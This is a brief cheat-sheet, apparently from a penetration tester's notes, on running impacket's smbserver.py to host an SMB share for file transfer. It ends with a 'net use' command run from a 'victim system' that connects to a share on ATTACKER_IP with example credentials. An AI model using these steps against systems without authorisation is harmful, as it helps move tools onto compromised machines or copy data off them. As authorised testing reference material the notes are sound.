# smbserver.py
smbserver is part of [impacket](https://github.com/fortra/impacket).

## Setup a listening server
Make an empty directory to serve nothing out of
```
sudo mkdir /share
```

(Just an example, doesn't have to be this)

## Setup an SMB share pointed to the /share folder
```
smbserver.py share /share -smb2support
```

## Setup an SMB share that uses username and password
(This is handy when your victim server you're trying to copy files *to* throws a warning like "You can't access this shared folder because your organization's security policies block unauthenticated access"):

```
smbserver.py -smb2support share . -username demouser -password 'Str0ngp4$$!'
```

## Connect to password-protected share from a victim system:

```
net use \\ATTACKER_IP\share /user:demouser Str0ngp4$$!
```
